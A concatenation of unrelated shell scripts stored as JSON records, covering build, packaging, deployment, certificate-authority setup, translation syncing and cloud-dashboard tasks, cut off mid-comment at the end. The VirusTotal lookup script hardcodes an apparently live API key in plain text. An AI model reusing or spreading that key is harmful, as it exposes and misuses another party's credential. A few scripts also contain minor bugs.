timerKey currentTime currentIntervalTime\n timerKey=\"${1:-$$}\"\n eval \"$(_timerLoad \"${timerKey}\")\"\n currentTime=$(dt_epoch)\n ((currentIntervalTime=currentTime-_currentIntervalStartTime))\n echo ${currentIntervalTime}\n}\n\nfunction test__timerGetCurrentIntervalTime {\n timer_create -f \"timerFour\"\n timer_start \"timerFour\"\n assert_sleep 5\n _timerGetCurrentIntervalTime \"timerFour\" | assert \">3\"\n}"} {"text": "#!/usr/bin/env bash\necho ' '\necho '=== Project ==='\necho '1. Web project:'\necho ' http://localhost:1888'\necho ' root dir: /vagrant/php'\necho '2. phpmyadmin:'\necho ' http://localhost:1888/phpmyadmin'\necho ' config dir:'\necho ' /etc/phpmyadmin'\necho ' /var/lib/phpmyadmin/'\necho \"3. Let's rock!\""} {"text": "<filename>bin/ci/travis/instruments-auth.sh\n#!/usr/bin/env bash\nSCRIPT_DIR=\"${PWD}/bin/ci/travis\"\nsudo security authorizationdb write com.apple.dt.instruments.process.analysis < $SCRIPT_DIR/com.apple.dt.instruments.process.analysis.plist\nsudo security authorizationdb write com.apple.dt.instruments.process.kill < $SCRIPT_DIR/com.apple.dt.instruments.process.kill.plist"} {"text": "<filename>openscore-core/build.sh\n#! /bin/bash\n\nmvn clean install -Dmaven.test.skip=true -Popenshift\ndocker build . -t openscore-core:latest\ndocker tag openscore-core:latest registry.digitalocean.com/openscore/openscore-core:latest\ndocker push registry.digitalocean.com/openscore/openscore-core:latest"} {"text": "<filename>bin/Build-Multi.sh\n#!/usr/bin/env bash\n# Do not use FasBashLib in this file\n# shellcheck disable=SC1090,SC1091,SC2154\n\n# shellcheck source=/dev/null\nsource \"$(cd \"$(dirname \"${0}\")/../\" || exit 1 ; pwd)/lib/Common.sh\"\n\n# Parse args\nwhile [[ -n \"${1-\"\"}\" ]]; do\n [[ \"$1\" == \"-\"* ]] || break\n case \"${1}\" in\n \"-out\")\n [[ -n \"${2-\"\"}\" ]] || { echo \"No file is specified\"; exit 1; }\n OutDir=\"${2}\"\n shift 2 || break\n ;;\n \"--\")\n shift 1\n break\n ;;\n *)\n echo \"Usage: $(basename \"$0\") [-out Dir]\"\n [[ \"${1}\" = \"-h\" ]] && exit 0\n exit 1\n ;;\n esac\ndone\n\n# Ccnfigure dir\nOutDir=\"$MainDir/out\"\n\n# Check dir\nmkdir -p \"$OutDir\"\nfor Dir in \"$SrcDir\" \"$StaticDir\" \"$LibDir\"; do\n [[ -d \"$Dir\" ]] || {\n echo \"Missing directory: $Dir\"\n exit 1\n }\ndone\n\n# Build\n# Load src\nwhile read -r Dir; do\n _Lib=\"$(basename \"$Dir\")\"\n \"$MainDir/bin/Build-Single.sh\" -out \"$OutDir/$_Lib.sh\" -noreq \"$_Lib\"\ndone < <(\"$BinDir/List.sh\" -q)\nunset Dir File"} {"text": "<reponame>senorsmile/mac-setup<gh_stars>0\n#!/bin/sh\n\nsudo easy_install pip\n\nsudo pip install ansible"} {"text": "<gh_stars>10-100\ncat > requests.txt << EOF1\nC:5579088:25-I:3675717:1-C:5594105:5-I:3673271:1-O:4087191:6.5\nC:5579088:25-I:3675717:1-C:5594105:5-I:3673271:1-O:4087191:13.0\nC:5579088:25-I:3675717:1-C:5594105:5-I:3673271:1-O:4087191:26.0\nC:5579088:25-I:3675717:1-C:5594105:5-I:3673271:1-O:4087191:52.0\nC:5579088:25-I:3675717:1-C:5594105:5-I:3673271:1-O:4087191:104.0\nC:5579088:40-I:3675717:1-C:5594105:20-I:3673272:1-O:4087191:6.5\nC:5579088:40-I:3675717:1-C:5594105:20-I:3673272:1-O:4087191:13.0\nC:5579088:40-I:3675717:1-C:5594105:20-I:3673272:1-O:4087191:26.0\nC:5579088:40-I:3675717:1-C:5594105:20-I:3673272:1-O:4087191:52.0\nC:5579088:40-I:3675717:1-C:5594105:20-I:3673272:1-O:4087191:104.0\nEOF1\n\nwhile read line\ndo\ncurl -i http://127.0.0.1:5000/hbcp/api/v1.0/predict/outcome/$line\ndone < requests.txt"} {"text": "#!/bin/bash -e\n\nif [[ -z \"${SCLOUD_SRC_PATH}\" ]] ; then\n echo \"SCLOUD_SRC_PATH must be set, exiting ...\"\n exit 1\nfi\n\nif [[ -n \"${SIGN_PACKAGES}\" ]]\nthen\n echo \"\\$SIGN_PACKAGES is set to \\\"${SIGN_PACKAGES}\\\", .asc signature files WILL be generated ..\"\nelse\n echo \"\\$SIGN_PACKAGES is set to \\\"${SIGN_PACKAGES}\\\", .asc signature files WILL NOT be generated ..\"\nfi\n\nBUILD_TARGETS_ARCH=( 386 amd64 )\nBUILD_TARGETS_OS=( darwin linux windows )\nTARGET_ROOT_DIR=bin/cross-compiled\nARCHIVE_DIR=${TARGET_ROOT_DIR}/archive\nTAG=$(git describe --abbrev=0 --tags)\n\nrm -fr ${TARGET_ROOT_DIR}\nmkdir -p ${ARCHIVE_DIR}\n\nfunction get_suffix {\n if [[ 'windows' == $1 ]]\n then\n return '.exe'\n else\n return ''\n fi\n}\n\nfor os in ${BUILD_TARGETS_OS[@]}\ndo\n for arch in ${BUILD_TARGETS_ARCH[@]}\n do\n if [[ 'windows' == ${os} ]]\n then\n program_name='scloud.exe'\n else\n program_name='scloud'\n fi\n target_dir=${TARGET_ROOT_DIR}/${os}_${arch}\n mkdir -p ${target_dir}\n target_file=${target_dir}/${program_name}\n archive_file=${PWD}/${ARCHIVE_DIR}/scloud_${TAG}_${os}_${arch}\n echo \"Building ${target_file}\";\n # The -s flag strips debug symbols from Linux, -w from DWARF (darwin). This reduces binary size by about half.\n env GOOS=${os} GOARCH=${arch} GO111MODULE=on go build -ldflags \"-s -w\" -a -o ${target_file} ${SCLOUD_SRC_PATH}/cli\n if [[ 'windows' == ${os} ]]\n then\n pushd ${target_dir}\n zip ${archive_file}.zip ${program_name}\n if [[ -n \"${SIGN_PACKAGES}\" ]]\n then\n echo \"Generating signature file for ${archive_file}.zip ..\"\n gpg2 --armor --detach-sign ${archive_file}.zip\n fi\n popd\n else\n tar -C ${target_dir} -czvf ${archive_file}.tar.gz ${program_name}\n if [[ -n \"${SIGN_PACKAGES}\" ]]\n then\n echo \"Generating signature file for ${archive_file}.zip ..\"\n gpg2 --armor --detach-sign ${archive_file}.tar.gz\n fi\n fi\n echo \"\"\n done\ndone\n\nif [[ \"$(uname -m)\" == \"x86_64\" ]] ; then\n myarch=amd64\nelse\n myarch=386\nfi\nif [[ \"$OS\" == \"Windows_NT\" ]] ; then\n\tmyos=windows\n program_name='scloud.exe'\nelse\n program_name='scloud'\n\tif [[ \"$(uname -s)\" == \"Linux\" ]] ; then\n\t\tmyos=linux\n\telse\n\t\tmyos=darwin\n\tfi\nfi\n\nmyscloud=\"${TARGET_ROOT_DIR}/${myos}_${myarch}/${program_name}\"\necho \"Testing binary for this environment: ${myscloud} ...\"\nif ! [[ -f \"${myscloud}\" ]] ; then\n echo \"File not found: ${myscloud} , exiting ...\"\n exit 1\nfi\n${myscloud} version\nstatus=$?\nif [[ \"${status}\" -gt \"0\" ]] ; then\n echo \"Error running \\\"${myscloud} version\\\", exiting ...\"\n exit 1\nfi\necho \"Success.\"\necho \"\"\n\necho \"Package archives created: \"\necho \"\"\narchives=$(ls ${ARCHIVE_DIR})\necho \"${archives}\""} {"text": "<reponame>JasonGross/coq-debian-build-scripts\n#!/bin/bash\n\nset -ex\n\n. versions.sh\n\nSPACE=\" \"\n\nfor i in $VERSIONS; do\n VERSION=\"$(to_debian_version \"$i\")\"\n PKG=\"$(to_package_name \"$i\")\"\n FOLDER=\"$(to_folder_name \"$i\")\"\n ARCHIVE=\"$(to_archive_name \"$i\")\"\n pushd \"debian-sources/$FOLDER\" || exit $?\n cd \"$FOLDER\"\n rm -rf debian\n mkdir -p debian || exit $?\n if [ -z \"$DEBFULLNAME\" ]; then export DEBFULLNAME=\"<NAME>\"; fi\n if [ -z \"$DEBEMAIL\" ]; then export DEBEMAIL=\"<EMAIL>\"; fi\n EDITOR=\"true\" dch --create -v \"${VERSION}-1\" --package \"$PKG\" || exit $?\n sed -i s'/ (Closes: #XXXXXX)//g' debian/changelog || exit $?\n echo '9' > debian/compat # magic number from https://wiki.debian.org/Packaging/Intro?action=show&redirect=IntroDebianPackaging\n cat > debian/control <<EOF\nSource: coq\nMaintainer: $DEBFULLNAME <$DEBEMAIL>\nSection: misc\nPriority: optional\nStandards-Version: 3.9.5\nBuild-Depends: debhelper (>= 9), dh-ocaml (>= 0.9.5~), ocaml-nox (>= 4), ocaml-best-compilers, ocaml-findlib (>= 1.4), camlp5 (>= 5.12-2~), liblablgtk2-ocaml-dev (>= 2.14), liblablgtksourceview2-ocaml-dev, texlive-latex-extra, hevea (>= 1.10-7)\n\n\nPackage: coq\nArchitecture: any\nDepends: \\${shlibs:Depends}, \\${misc:Depends}\nHomepage: http://coq.inria.fr/\nDescription: Coq is a proof assistant for higher-order logic, which allows the development of computer programs consistent with their formal specification. It is developed using Objective Caml and Camlp5.\nEOF\n # cribbed from http://http.debian.net/debian/pool/main/c/coq/coq_8.5-2.debian.tar.xz\n cat ../../debian-rules.in | sed s\"/@@@COQ_VERSION@@@/$i/g\" > debian/rules\n mkdir -p debian/source\n echo '3.0 (quilt)' > debian/source/format || exit $? # magic from https://wiki.debian.org/Packaging/Intro?action=show&redirect=IntroDebianPackaging\n if [ -e COPYRIGHT ]; then\n COPYRIGHT=\"$(cat COPYRIGHT | tr '\\n' '~' | sed s'/ ~/~/g' | sed s'/~/ /g' | grep -o 'Copyright [^\\.]*')\"\n else\n COPYRIGHT=\"1999-2015 The Coq development team, INRIA, CNRS, University Paris Sud, University Paris 7, Ecole Polytechnique\"\n fi\n cat > debian/copyright <<EOF\nFormat: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nPackaged-By: <NAME> <<EMAIL>>\nPackaged-Date: Fri, 03 Dec 1999 22:06:04 +0100\nSource: http://coq.inria.fr/\n\nFiles: *\nCopyright: ${COPYRIGHT}\nLicense: LGPL-2.1\n\nFiles: debian/*\nCopyright: 1999-2000 <NAME> <<EMAIL>>\n 2001-2002 <NAME> <<EMAIL>>\n 2004-2009 <NAME> <<EMAIL>>\n 2008-2014 <NAME> <<EMAIL>>\n 2016-2016 <NAME> <<EMAIL>>\nLicense: LGPL-2.1\n\nLicense: LGPL-2.1\n The Coq Proof Assistant is distributed under the terms of the GNU\n Lesser General Public Licence, version 2.1, see\n \\`/usr/share/common-licenses/LGPL-2.1'.\nEOF\n popd\ndone"} {"text": "<filename>public/uploads/30878.sh\n#!/bin/bash -eux\n\nsudo yum install chrpath\n\ncd /tmp\n\ngit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git\nexport PATH=`pwd`/depot_tools:\"$PATH\"\n\nfetch v8\ncd v8\n\nmake native library=shared -j8\n\nchrpath -r '$ORIGIN' out/native/lib.target/libv8.so\n\nsudo mkdir -p /tmp/v8-install/lib /tmp/v8-install/include\nsudo cp out/native/lib.target/lib*.so /tmp/v8-install/lib/\nsudo cp -R include/* /tmp/v8-install/include\necho -e \"create /tmp/v8-install/lib/libv8_libplatform.a\\naddlib out/native/obj.target/tools/gyp/libv8_libplatform.a\\nsave\\nend\" | sudo ar -M\n\ncd /tmp\ngit clone https://github.com/preillyme/v8js.git\ncd v8js\nphpize\n./configure --with-v8js=/tmp/v8-install\nmake\nmake test\nsudo make install\n\necho \"extension=v8js.so\" > /etc/php5/mods-available/v8js.ini\nln -s /etc/php5/mods-available/v8js.ini /etc/php5/cli/conf.d/20-v8js.ini\n\nservice php5-fpm restart"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n\nkey=$(($RANDOM%99999+10000))\nlogFile=/var/log/project/shell_log/cmdlog.log\n\naddLog() {\n now=$(date +\"%Y-%m-%d %T\")\n if [ -f \"$logFile\" ]; then\n echo \"${now} $1\"\n echo \"${now} $key $1\" >> $logFile\n else\n # * represent log file is not found\n echo \"${now}[*] $1\"\n fi\n}\n\ndistDir=dist-index-app\ndistDir=dist-yard-app\ndistDir=dist-management-app\ndistDir=dist-search-app\ndistDir=dist-auth-demo-app\ndistDir=dist-data-entry-app\ndistDir=dist-assets-app\ndistDir=dist-monitoring-app\ndistDir=dist-ftp-app\ndistDir=dist-data-display-app\ndistDir=dist-auth-app\ndistDir=dist-ftp-app\ndistDir=dist-attendance-app\ndistDir=dist-project-tracking-app\ndistDir=dist-account-app-2021-oct\ndistDir=dist-ml2-app\n\n\n\n\nsh sync.sh\n\naddLog \"Dist directory: ${distDir}\"\n\naddLog \"*****Start building application*****\"\n\nnpm run build\n\naddLog \"*****Build complete*****\"\n\n# passing distDir as argument\nsh copy_build.sh $distDir"} {"text": "<filename>start-from.sh\n#!/usr/bin/env bash\nexercises=\"\n05-customizing-invenio\n07-data-models-new-field\n08-data-models-from-scratch\n09-deposit-form\n10-indexing-records\n11-linking-records\n12-managing-access\n\"\n\nexercise_tutorial_folder=$1\necho $exercises | grep -qw \"$exercise_tutorial_folder\"\nvalid_exercise=$?\n\nif [ $valid_exercise -ne 0 ]\nthen\n echo \"$exercise_tutorial_folder does not exists or it does not have a solution folder.\"\n exit 1\nfi\n\ninvenio_src_folder=\"$HOME/src\"\ninvenio_training_folder=\"$invenio_src_folder/training\"\ninvenio_instance_folder=\"$invenio_src_folder/my-site\"\n\nif [ -d \"$invenio_instance_folder\" ]\nthen\n echo 'Removing previous Invenio instance folder.'\n rm -rf \"$invenio_instance_folder\"\nfi\ncd \"$invenio_src_folder\"\n\n# Bootstrap Invenio instance\necho \"Boostrapping Invenio on $invenio_instance_folder.\"\ncookiecutter gh:inveniosoftware/cookiecutter-invenio-instance -c v3.4 --no-input\n\n# Reinstalling appliation with preivious steps solutions\ncp -R \"$invenio_training_folder/$exercise_tutorial_folder/solution/my-site/\" \"$invenio_instance_folder\"\necho \"Reinstalling application.\"\ncd \"$invenio_instance_folder\"\npipenv run pip install -e .\n\n# Start Invenio instance\ndocker-compose up -d\n./scripts/bootstrap\n./scripts/setup\n./scripts/server"} {"text": "<filename>vt.sh\n#!/bin/bash\napikey=c2fe3b4dc0b284ff2bd7cd08a361e134bc01c6a19a61536a4e514185fb8c37df\nmd5=$(md5sum \"$1\" | sed -r \"s/ .+$//\")\nresp=$(curl --request GET \\\n --url https://www.virustotal.com/api/v3/files/{\"$md5\"} \\\n --header \"x-apikey: \"$apikey\"\" 2>/dev/null)\nmlwr=$(echo \"$resp\" | jq '.data .attributes .total_votes .malicious')\nnumb=$(ls /dev/pts)\ngnome-terminal & \nsleep .1\nnumb=$(ls /dev/pts)$(printf \"\\n$numb\")\nnumb=$(echo \"$numb\" | sort | uniq -u)\nif [[ \"$mlwr\" == \"null\" ]]; then\nout=$(echo \"Хэш не найден!\")\nelif [[ \"$mlwr\" == \"0\" ]]; then\nout=$(echo \"Малварь не найдена.\")\nelse\nbody=$(echo \"$resp\" | jq '.data .attributes .last_analysis_results | .[] | \"\\(.engine_name) \\(.result)\"' \\\n | sed 's/ /: /' | sed 's/\"$//' | sed 's/\"//' | sed -r '/null$/d')\nout=$(printf \"%s\\n\\nАнтивирусы, нашедшие малварь ↑\\nВсего найдено малварей: %s\\n\" \\\n \"$body\" \"$mlwr\")\nfi\nih=$(echo \"$1 - \" | sed -r 's/.+\\///')\nib=$(file \"$1\" | sed -r 's/.+: //' | sed -r 's/,.+$//')\nprintf \"$out\\n$ih$ib\" > /dev/pts/\"$numb\""} {"text": "#!/usr/bin/env bash\ngnome-terminal --full-screen --working-directory=${HOME} -- ranger"} {"text": "#!/bin/bash\n# Top-level build script called from Dockerfile\n\n# Stop at any error, show all commands\nset -exuo pipefail\n\n# Get script directory\nMY_DIR=$(dirname \"${BASH_SOURCE[0]}\")\n\n# Get build utilities\nsource $MY_DIR/build_utils.sh\n\n\nCPYTHON_VERSION=$1\nCPYTHON_DOWNLOAD_URL=https://www.python.org/ftp/python\n\n\nfunction pyver_dist_dir {\n\t# Echoes the dist directory name of given pyver, removing alpha/beta prerelease\n\t# Thus:\n\t# 3.2.1 -> 3.2.1\n\t# 3.7.0b4 -> 3.7.0\n\techo $1 | awk -F \".\" '{printf \"%d.%d.%d\", $1, $2, $3}'\n}\n\n\nCPYTHON_DIST_DIR=$(pyver_dist_dir ${CPYTHON_VERSION})\nfetch_source Python-${CPYTHON_VERSION}.tgz ${CPYTHON_DOWNLOAD_URL}/${CPYTHON_DIST_DIR}\nfetch_source Python-${CPYTHON_VERSION}.tgz.asc ${CPYTHON_DOWNLOAD_URL}/${CPYTHON_DIST_DIR}\ngpg --import ${MY_DIR}/cpython-pubkeys.txt\ngpg --verify Python-${CPYTHON_VERSION}.tgz.asc\ntar -xzf Python-${CPYTHON_VERSION}.tgz\npushd Python-${CPYTHON_VERSION}\nPREFIX=\"/opt/_internal/cpython-${CPYTHON_VERSION}\"\nmkdir -p ${PREFIX}/lib\nif [ \"${AUDITWHEEL_POLICY}\" == \"manylinux2010\" ]; then\n\t# The _ctypes stdlib module build started to fail with 3.10.0rc1\n\t# No clue what changed exactly yet\n\t# This workaround fixes the build\n\tLIBFFI_INCLUDEDIR=$(pkg-config --cflags-only-I libffi | tr -d '[:space:]')\n\tLIBFFI_INCLUDEDIR=${LIBFFI_INCLUDEDIR:2}\n\tcp ${LIBFFI_INCLUDEDIR}/ffi.h ${LIBFFI_INCLUDEDIR}/ffitarget.h /usr/include/\nfi\n# configure with hardening options only for the interpreter & stdlib C extensions\n# do not change the default for user built extension (yet?)\n./configure \\\n\tCFLAGS_NODIST=\"${MANYLINUX_CFLAGS} ${MANYLINUX_CPPFLAGS}\" \\\n\tLDFLAGS_NODIST=\"${MANYLINUX_LDFLAGS}\" \\\n\t--prefix=${PREFIX} --disable-shared --with-ensurepip=no > /dev/null\nmake > /dev/null\nmake install > /dev/null\nif [ \"${AUDITWHEEL_POLICY}\" == \"manylinux2010\" ]; then\n\trm -f /usr/include/ffi.h /usr/include/ffitarget.h\nfi\npopd\nrm -rf Python-${CPYTHON_VERSION} Python-${CPYTHON_VERSION}.tgz Python-${CPYTHON_VERSION}.tgz.asc\n\n# we don't need libpython*.a, and they're many megabytes\n# MOD: I want the static lib for pybind11\n#find ${PREFIX} -name '*.a' -print0 | xargs -0 rm -f\n\n# We do not need precompiled .pyc and .pyo files.\nclean_pyc ${PREFIX}\n\n# Strip ELF files found in ${PREFIX}\nstrip_ ${PREFIX}"} {"text": "<reponame>nuarch/rancher-local-cloud\n#!/bin/bash\n\n# Taken from here: https://gist.github.com/superseb/175476a5a1ab82df74c7037162c64946 &\n# https://dadhacks.org/2017/12/27/building-a-root-ca-and-an-intermediate-ca-using-openssl-and-debian-stretch/\n# Based off of instructions here: https://jamielinux.com/docs/openssl-certificate-authority/index.html\n\nPASSWORD=<PASSWORD>\n\nrootDir=$PWD\n\nmkdir $rootDir/ca\ncd $rootDir/ca\nmkdir certs crl newcerts private\nchmod 700 private\ntouch index.txt\necho 1000 > serial\ncd $rootDir\n\necho -e \"\\n### CREATE root key\\n\"\nopenssl genrsa -aes256 -passout <PASSWORD> -out ca/private/ca.key.pem 4096\nchmod 400 ca/private/ca.key.pem\n\necho -e \"\\n### CREATE root certificate\\n\"\nopenssl req -config root-openssl.cnf -new -x509 \\\n -sha512 -extensions v3_ca \\\n -passin <PASSWORD> \\\n -key ca/private/ca.key.pem \\\n -out ca/certs/ca.cert.pem \\\n -days 820 -set_serial 0\n\nchmod 444 ca/certs/ca.cert.pem\n\n# Intermediate\nmkdir $rootDir/ca/intermediate\ncd $rootDir/ca/intermediate\nmkdir certs crl csr newcerts private\nchmod 700 private\ntouch index.txt\necho 1000 > serial\necho 1000 > $rootDir/ca/intermediate/crlnumber\ncd $rootDir\n\necho -e \"\\n### Create intermediate key\\n\"\nopenssl genrsa -aes256 \\\n -passout <PASSWORD> \\\n -out ca/intermediate/private/intermediate.key.pem 4096\nchmod 400 ca/intermediate/private/intermediate.key.pem\n\necho -e \"\\n### Create intermediate CSR\\n\"\nopenssl req -config intermediate-openssl.cnf \\\n -passin <PASSWORD>:$PASSWORD \\\n -new -sha512 \\\n -key ca/intermediate/private/intermediate.key.pem \\\n -out ca/intermediate/csr/intermediate.csr.pem\n\necho -e \"\\n### Create/sign intermediate certificate\\n\"\nopenssl ca -batch -config root-openssl.cnf \\\n -passin pass:$PASSWORD \\\n -extensions v3_intermediate_ca \\\n -days 820 -notext -md sha512 \\\n -in ca/intermediate/csr/intermediate.csr.pem \\\n -out ca/intermediate/certs/intermediate.cert.pem\nchmod 444 ca/intermediate/certs/intermediate.cert.pem\ncat ca/intermediate/certs/intermediate.cert.pem ca/certs/ca.cert.pem > ca/intermediate/certs/ca-chain.cert.pem\nchmod 444 ca/intermediate/certs/ca-chain.cert.pem\n\necho -e \"\\n### Create certificate key\\n\"\nopenssl genrsa -aes256 \\\n -passout <PASSWORD>:$PASSWORD \\\n -out ca/intermediate/private/local-rancher.key.pem 2048\nchmod 400 ca/intermediate/private/local-rancher.key.pem\n\necho -e \"\\n### Create certificate CSR\\n\"\nopenssl req -config csr-openssl.cnf \\\n -passin <PASSWORD>:$PASSWORD \\\n -key ca/intermediate/private/local-rancher.key.pem \\\n -new -sha512 -out ca/intermediate/csr/local-rancher.csr.pem\n\necho -e \"\\n### Create/sign certificate\\n\"\nopenssl ca -batch -config intermediate-openssl.cnf \\\n -extensions server_cert -days 820 -notext -md sha512 \\\n -passin <PASSWORD>:$PASSWORD \\\n -in ca/intermediate/csr/local-rancher.csr.pem \\\n -out ca/intermediate/certs/local-rancher.cert.pem\nchmod 444 ca/intermediate/certs/local-rancher.cert.pem\n\necho -e \"\\n### Create files to be used for Rancher\\n\"\nmkdir -p ca/rancher/base64\ncp ca/certs/ca.cert.pem ca/rancher/cacerts.pem\ncp ca/intermediate/certs/intermediate.cert.pem ca/rancher/intcerts.pem\ncat ca/intermediate/certs/local-rancher.cert.pem ca/intermediate/certs/intermediate.cert.pem > ca/rancher/cert.pem\n\n\necho -e \"\\n### Removing passphrase from Rancher certificate key\\n\"\nopenssl rsa -passin pass:$PASSWORD -in ca/intermediate/private/local-rancher.key.pem -out ca/rancher/key.pem\nif [[ \"$OSTYPE\" == \"darwin\"* ]]; then\n cat ca/rancher/cacerts.pem | base64 > ca/rancher/base64/cacerts.base64\n cat ca/rancher/cert.pem | base64 > ca/rancher/base64/cert.base64\n cat ca/rancher/key.pem | base64 > ca/rancher/base64/key.base64\nelse\n cat ca/rancher/cacerts.pem | base64 -w0 > ca/rancher/base64/cacerts.base64\n cat ca/rancher/cert.pem | base64 -w0 > ca/rancher/base64/cert.base64\n cat ca/rancher/key.pem | base64 -w0 > ca/rancher/base64/key.base64\nfi\n\necho -e \"\\n### Verify certificates\\n\"\nopenssl verify -CAfile ca/certs/ca.cert.pem \\\n ca/intermediate/certs/intermediate.cert.pem\nopenssl verify -CAfile ca/intermediate/certs/ca-chain.cert.pem \\\n ca/intermediate/certs/local-rancher.cert.pem\n\necho -e \"\\n### Copy certs to temp dir\\n\"\nmkdir -p ../custom/\ncp ca/rancher/*.pem ../custom/.\n\necho -e \"\\nConvert .pem to .crt\\n\"\ncd ../custom\nopenssl x509 -outform der -in cert.pem -out cert.crt\nopenssl x509 -outform der -in cacerts.pem -out intcerts.crt\nopenssl x509 -outform der -in cacerts.pem -out cacerts.crt"} {"text": "<reponame>blieb/gulden-official<gh_stars>0\n#!/bin/bash\n\n#Load private config\nsource private.conf\n\n#Generate non-ui translatables\n#fixme: In future there are a few other files that belong here. \npython3.6 developer-tools/translations/extract_strings_qt.py src/init.cpp src/net.cpp src/wallet/wallet_init.cpp\n\n#Cleanup\ncd src/qt/locale/Gulden\nrm *.po || true\n\n#Fetch onesky translations\npython ../../../../developer-tools/translations/fetch_translations.py ${ONESKY_API_KEY}\n\n#Work around for dropped qt flag (needed for lconvert to behave in a way that is not brain damaged)\nsed -i 's|^\\\"Language\\(.*\\)$|\"Language\\1\\n\"X-Qt-Contexts: true\\\\n\"|' *.po\n\n#Now update ts files from onesky translations\nfor filename in *.po; do\n lconvert -locations relative $filename -o `dirname ${filename}`/`basename ${filename} .po`.ts\ndone\n\n#Remerge updated ts files from source if source has changed (english only)\nlupdate ../../../../src -locations relative -no-obsolete -ts gulden_en.ts\n\n#Update OneSky\n#fixme: This should deprecated phrases (currently have to do that by manually uploading)\nlconvert -locations relative gulden_en.ts -o `dirname gulden_en.ts`/`basename gulden_en .ts`.po\npython ../../../../developer-tools/translations/push_translations.py ${ONESKY_API_KEY} || true\n\n\nsed -i 's|<extra-po-header-po_revision_date>.*</extra-po-header-po_revision_date>|<extra-po-header-po_revision_date>2018-08-29 15:43+0000</extra-po-header-po_revision_date>|' *.ts\nsed -i 's|<extra-po-header-pot_creation_date>.*</extra-po-header-pot_creation_date>|<extra-po-header-pot_creation_date>2018-08-29 15:43+0000</extra-po-header-pot_creation_date>|' *.ts\n\n#The below would do the same for other languages (if we needed it)\n#lupdate ../../../../src -locations none -no-obsolete -ts `ls *.ts | grep -v src/qt/locale/Gulden/gulden_en.ts`\n#Push updated translations back to onesky\n#for filename in *.ts; do\n# lconvert -locations relative $filename -o `dirname ${filename}`/`basename ${filename} .ts`.po\n#done\n#lconvert -locations relative gulden_en.ts -o `dirname gulden_en.ts`/`basename gulden_en .ts`.po\n\n\n#Cleanup\n#rm *.po || true"} {"text": "<reponame>reqa/container-image-kolla-ansible<gh_stars>1-10\n#!/usr/bin/env bash\n\nENVIRONMENT=kolla\n\nif [[ $# -lt 2 ]]; then\n echo usage: osism-$ENVIRONMENT ACTION SERVICE [...]\n exit 1\nfi\n\naction=$1\nshift\n\nservices=$1\nshift\n\nANSIBLE_DIRECTORY=/ansible\nCONFIGURATION_DIRECTORY=/opt/configuration\nENVIRONMENTS_DIRECTORY=$CONFIGURATION_DIRECTORY/environments\n\nif [[ -e /ansible/ara.env ]]; then\n source /ansible/ara.env\nfi\n\nexport ANSIBLE_CONFIG=$ENVIRONMENTS_DIRECTORY/ansible.cfg\nif [[ -e $ENVIRONMENTS_DIRECTORY/$ENVIRONMENT/ansible.cfg ]]; then\n export ANSIBLE_CONFIG=$ENVIRONMENTS_DIRECTORY/$ENVIRONMENT/ansible.cfg\nfi\n\ncd $ENVIRONMENTS_DIRECTORY/$ENVIRONMENT\n\nexport IFS=\",\"\nfor service in $services; do\n ansible-playbook \\\n --vault-password-file $ENVIRONMENTS_DIRECTORY/.vault_pass \\\n -e CONFIG_DIR=$ENVIRONMENTS_DIRECTORY/$ENVIRONMENT \\\n -e @$ENVIRONMENTS_DIRECTORY/configuration.yml \\\n -e @$ENVIRONMENTS_DIRECTORY/secrets.yml \\\n -e @secrets.yml \\\n -e @images.yml \\\n -e @configuration.yml \\\n -e action=$action \\\n \"$@\" \\\n $ANSIBLE_DIRECTORY/$ENVIRONMENT-$service.yml\ndone"} {"text": "<gh_stars>1-10\n#!/bin/bash -e\n\n# rs-create-internet-gateway.sh <nickname> <rs_cloud_id> <vpc_id>\n\n# e.g. rs-create-internet-gateway.sh my_gw 2 123456\n\n# Warning: This script posts information to the RightScale dashboard.\n# It is not recommended to use this script for production purposes. RightScale cannot guarantee this script will work now or in the future.\n\n# RightScale (public) cloud IDs\n#1  US-East\n#2  Europe\n#3  US-West\n#4  Singapore \n#5  Tokyo\n#6  Oregon\n#7  SA-São Paulo (Brazil)\n\n# Example params:\n\n[[ ! $1 ]] && echo 'No Server nickname provided.' && exit 1\n[[ ! $2 ]] && echo 'No RightScale cloud ID provided.' && exit 1\n[[ ! $3 ]] && echo 'No VPC ID provided.' && exit 1\n\n. \"$HOME/.rightscale/rs_api_config.sh\"\n. \"$HOME/.rightscale/rs_api_creds.sh\"\n\nnickname=\"$1\"\nrs_cloud_id=\"$2\"\nvpc_id=\"$3\"\n\nrs-login-dashboard.sh               # (run this first to ensure current session)\n\nurl=\"https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways\"\necho \"POST: $url\"\n\n#-H \"User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.82 Safari/537.1\" \\\n#-H \"X-Prototype-Version:1.6.1\" \\\n#-H \"X-Requested-With:XMLHttpRequest\" \\\n\nresult=$(curl -v -X POST \\\n-b \"$HOME/.rightscale/rs_dashboard_cookie.txt\" \\\n-H \"Referer:https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways\" \\\n-d _=\" \" \\\n\"$url\" 2>&1)\n\necho \"$result\" > /tmp/rs_gw_create.txt\n\necho -e \"$result\" | grep -q -e \"^< Status: 302\" && echo \"Create internet gateway succeeded!\"\n\ngateway_id=`echo -e \"$result\" | grep \"^< Location\" | sed 's@^.*vpc_internet_gateways/\\([0-9]*\\).*@\\1@'`\necho gateway_id=$gateway_id\n\n######################\n# Set nickname for Internet GW\n\n#Request URL:https://my.rightscale.com/acct/44134/clouds/4/vpc_internet_gateways/633001/set_vpc_internet_gateway_name\nurl=\"https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways/$gateway_id/set_vpc_internet_gateway_name\"\necho \"POST: $url\"\n\nresult=$(curl -v -X POST \\\n-b \"$HOME/.rightscale/rs_dashboard_cookie.txt\" \\\n-H \"Referer:https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways/$gateway_id\" \\\n-d value=\"$nickname\" \\\n-d _=\" \" \\\n\"$url\" 2>&1)\n\necho -e \"$result\" | grep -q -e \"^< Status: 200\" && echo \"Set nickname of gateway succeeded!\"\n\necho \"$result\" > /tmp/rs_gw_set_name.txt\n\n######################\n# Associate int gw with 